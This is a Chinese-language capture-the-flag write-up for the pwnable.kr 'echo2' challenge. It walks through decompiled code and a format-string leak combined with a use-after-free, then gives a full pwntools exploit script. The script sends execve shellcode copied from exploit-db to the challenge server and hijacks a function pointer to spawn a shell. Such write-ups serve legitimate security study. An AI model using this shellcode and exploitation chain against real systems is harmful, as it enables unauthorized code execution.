0x00
pwnable.kr-echo2
FSB+UAF
0x01
IDA—F5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; signed __int64 v4; _QWORD *v5; setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); o = malloc(0x28uLL); *((_QWORD *)o + 3) = greetings; *((_QWORD *)o + 4) = byebye; printf("hey, what's your name? : ", 0LL); v4 = v3 - 0x20; __isoc99_scanf("%24s", v3 - 0x20); v5 = o; *(_QWORD *)o = *(_QWORD *)(v3 - 0x20); v5[1] = *(_QWORD *)(v3 - 0x20 + 8); v5[2] = *(_QWORD *)(v3 - 0x20 + 0x10); id = *(_DWORD *)(v3 - 32); getchar(); func[0] = (__int64)echo1; qword_602088 = (__int64)echo2; qword_602090 = (__int64)echo3; *(_DWORD *)(v3 - 36) = 0; do { while ( 1 ) { while ( 1 ) { puts("\n- select echo type -"); puts("- 1. : BOF echo"); puts("- 2. : FSB echo"); puts("- 3. : UAF echo"); puts("- 4. : exit"); printf("> ", v4); v4 = v3 - 0x24; __isoc99_scanf("%d", v3 - 0x24); getchar(); if ( *(_DWORD *)(v3 - 36) > 3u ) break; ((void (__fastcall *)(const char *, signed __int64))func[(unsigned __int64)(unsigned int)(*(_DWORD *)(v3 - 36)-1)])("%d",v4); } if ( *(_DWORD *)(v3 - 36) == 4 ) break; puts("invalid menu"); } cleanup(); printf("Are you sure you want to exit? (y/n)", v4); *(_DWORD *)(v3 - 36) = getchar(); } while ( *(_DWORD *)(v3 - 36) != 0x79 ); puts("bye"); return 0; }
__int64 __usercall echo2@<rax>(__int64 a1@<rbp>) { (*((void (__fastcall **)(_QWORD))o + 3))(o); get_input(a1 - 32, 32LL); printf((const char *)(a1 - 32), 32LL); (*((void (__fastcall **)(_QWORD))o + 4))(o); return 0LL; }
__int64 __usercall echo3@<rax>(__int64 a1@<rbp>) { (*((void (__fastcall **)(_QWORD))o + 3))(o); *(_QWORD *)(a1 - 8) = malloc(0x20uLL); get_input(*(_QWORD *)(a1 - 8), 32LL); puts(*(const char **)(a1 - 8)); free(*(void **)(a1 - 8)); (*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 32LL); return 0LL; }
|
简单分析一下:
- 将shellcode写入name
- 输入’2’进入echo2 输入格式化字符串leak出栈地址
- 输入’4’运行到cleanup(),执行free(o)
- 选择’n’回到循环
- 输入’3’
0x02
0x00
选择”- 2. : FSB echo”:
1 2 3 4 5 6 7 8
| __int64 __usercall echo2@<rax>(__int64 a1@<rbp>) { (*((void (__fastcall **)(_QWORD))o + 3))(o); get_input(a1 - 32, 32LL); printf((const char *)(a1 - 32), 32LL); (*((void (__fastcall **)(_QWORD))o + 4))(o); return 0LL; }
|
输入
get栈地址addr
结合IDA
1
| __isoc99_scanf("%24s", v3 - 0x20);
|
可得name的地址为addr-0x20,长度24位
于是就在exploit-db上找一个小于等于24位长的shellcode
1
| \xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05
|
链接地址:https://www.exploit-db.com/exploits/41750/
0x01
接下来选择”- 4. : exit”:
程序会运行到cleanup()
1 2 3 4
| void cleanup() { free(o); }
|
o会被直接free,但此时选择’n’,则会返回到循环当中继续运行
0x02
选择”- 3. : UAF echo”:
1 2 3 4 5 6 7 8 9 10
| __int64 __usercall echo3@<rax>(__int64 a1@<rbp>) { (*((void (__fastcall **)(_QWORD))o + 3))(o); *(_QWORD *)(a1 - 8) = malloc(0x20uLL); get_input(*(_QWORD *)(a1 - 8), 32LL); puts(*(const char **)(a1 - 8)); free(*(void **)(a1 - 8)); (*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 32LL); return 0LL; }
|
覆盖ret地址跳到name/shellcode处即可
1
| payload='A'*24+p64(addr)
|
差不多就这样
0x03
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * p=remote("pwnable.kr",9011) p.recvuntil(":") shellcode="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
p.sendline(shellcode)
p.recvuntil(">") p.sendline('2') p.sendline("%10$p") p.recvline() addr=int(p.recvline(),16)-0x20
p.sendline('4') p.sendline('n')
p.sendline('3') p.sendline('A'*24+p64(addr)) p.interactive()
|
0x04
相关博客:懒得写,以后补上
0x05
结尾立个flag,虽然pwn还是在起步阶段,还是一边硬啃着0day2,一边看着别的大佬的博客和writeup撸pwnable.kr的题。
但是我还是想尽量把我的一些收获整理一下,写下来,毕竟当初看别人的writeup的感觉就是:
- 为啥能这样啊?
- 凭啥能这样啊?
- 怎么就成这样了啊?
所以,。。。。。。emmmm就没有所以
顺便会在以后把pwnable.kr—echo2之前的题目(我做得出的)wp补上的
。。。。。。工程浩大
最后更新时间:
这里可以写作者留言,标签和 hexo 中所有变量及辅助函数等均可调用,示例:
wh4lter.xyz/2017/08/22/echo2/